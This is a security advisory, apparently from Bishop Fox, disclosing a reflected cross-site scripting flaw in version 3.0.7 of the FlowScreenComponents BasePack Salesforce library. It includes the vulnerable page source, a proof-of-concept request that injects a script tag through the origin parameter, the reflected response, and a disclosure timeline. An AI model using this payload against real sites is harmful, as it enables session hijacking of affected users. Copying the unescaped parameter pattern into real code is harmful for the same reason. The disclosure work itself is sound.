Understand how Red Teaming can be your ultimate strategic "Sanity Check" Register now ›

FlowscreenComponents Basepack, Version 3.0.7 Advisory

Gauge with medium severity reading for FlowscreenComponents Basepack, Version 3.0.7 Advisory. Mautic Version <=3.2.2 Advisory. eCatcher Desktop, Version 6.6.4 Advisory.

Share

FlowscreenComponents Basepack, Version 3.0.7 Advisory

The following document describes identified vulnerabilities in the FlowScreenComponents BasePack library version 3.0.7.

Product Vendor

UnofficialSF

Product Description

FlowScreenComponents BasePack is a library that helps developers build their own Salesforce screen components. The project’s official website is UnofficialSF. The latest version of the library is 3.0.14, released on September 18, 2022.

Vulnerabilities List

One vulnerability was identified within the FlowScreenComponents BasePack library:

  • Cross-site Scripting (XSS)

Affected Version

Version 3.0.7

Summary of Findings

A reflected cross-site scripting vulnerability was identified in a page created by the FlowScreenComponents BasePack library. This vulnerability could be used to execute JavaScript in the context of the affected Salesforce domain.

Impact

An attacker could exploit this vulnerability to perform actions in the context of the affected users. The impact of this vulnerability includes taking over targeted users’ sessions. Additional impact depends on the functionality of the affected application.

Solution

Restrict user access to the page with the vulnerability until an updated version of the library without the vulnerability is released.

Vulnerabilities

Cross-site Scripting (XSS)

The FlowScreenComponents BasePack library created a page that contained a reflected cross-site scripting (XSS) vulnerability. The vulnerability allowed the execution of a JavaScript payload in the context of the affected Salesforce domain. The vulnerability could be exploited to steal a targeted user’s session.

Vulnerability Details

Vulnerability Type: Cross-site scripting (XSS)

Access Vector: ☒ Remote, ☐ Local, ☒ Physical, ☐ Context dependent, ☐ Other (if other, please specify)

Impact: ☐ Code execution, ☐ Denial of service, ☒ Escalation of privileges, ☐ Information disclosure, ☐ Other (if other, please specify)

Security Risk: ☐ Critical, ☐ High, ☒ Medium, ☐ Low

Vulnerability: CWE-79

A reflected XSS vulnerability was found in the FlowScreenComponents BasePack library that allowed JavaScript code to be executed in the context of the affected Salesforce domain. An attacker could exploit this issue to perform actions in the context of the affected user. The vulnerability was found in the origin, params, and flowname parameters of the following endpoint:

https://[REDACTED].force.com/fsc_screenFlow

The vulnerability can be found on lines 14, 15, and 22 of the endpoint’s source code shown below: 

<apex:page id="fsc_screenFlow" showHeader="false" sidebar="false" lightningStylesheets="true">
    <html>
    <head>
        <apex:includeLightning />
    </head>
    <body class="slds-scope">
    <div id="fsc_screenFlow"/>
    <script>
        let statusChange = function (event) {
            console.log('statusChange');
            parent.postMessage({
                flowStatus: event.getParam("status"),
                flowParams: event.getParam("outputVariables"),
                flowOrigin: "{!$CurrentPage.parameters.origin}"
            }, "{!$CurrentPage.parameters.origin}");
        };
        $Lightning.use("c:fsc_screenFlowApp", function () {
            // Create the flow component and set the onstatuschange attribute
            $Lightning.createComponent("lightning:flow", {"onstatuschange": statusChange},
                "fsc_screenFlow",
                function (component) {
                    component.startFlow("{!$CurrentPage.parameters.flowname}", {!$CurrentPage.parameters.params});
                }
            );
        });
    </script>
    </body>
    </html>
</apex:page>

To demonstrate this vulnerability, the following HTTP GET request containing a JavaScript payload in the origin parameter was sent while authenticated as a valid user:

Request:

GET 
/fsc_screenFlow?origin=%3C/script%3E%3Cscript%3Ealert(document.location)%3C/script%3E 
HTTP/1.1
Host: [REDACTED].force.com
Cookie: sid=[REDACTED]

Response:

HTTP/1.1 200 OK
…omitted for brevity…
            console.log('statusChange');
           parent.postMessage({
               flowStatus: event.getParam("status"),
               flowParams: event.getParam("outputVariables"),
               flowOrigin: "</script><script>alert(window.origin)</script>"
           }, "</script><script>alert(window.origin)</script>");
       };
       $Lightning.use("c:fsc_screenFlowApp", function () {
…omitted for brevity…

When the HTTP response was interpreted by a browser, it created an alert box that displayed the origin under which the payload was executed, as shown below:


FIGURE 2 - Payload execution in browser

FIGURE 1 - Payload execution in browser

As the XSS payload was executed within the same origin as the web application, the vulnerability could be used to interact with the web application and perform actions that a legitimate user would.

Credits

Timeline

  • 06/13/2022: Initial discovery
  • 08/02/2022 - Attempted to contact the vendor via email
  • 09/06/2022 - Opened GitHub issue asking for contact information
  • 09/18/2022 - Vendor replied with their preferred contact method to receive the vulnerability report
  • 09/21/2022 - Vulnerability report sent to preferred contact method
  • 10/31/2022 - 90-day disclosure deadline reached
  • 12/15/2022 : Vulnerability publicly disclosed

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


Default fox headshot purple

About the author, Matthew Rutledge

Security Consultant

Matthew Rutledge (OSCP) is a Security Consultant at Bishop Fox, where he focuses on web application assessments. Matthew holds a B.S. degree in Computer Science and a M.S. in Cybersecurity. Matthew has carried out penetration testing engagements for Fortune 100 companies across several industries including healthcare, technology, and manufacturing.

More by Matthew

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.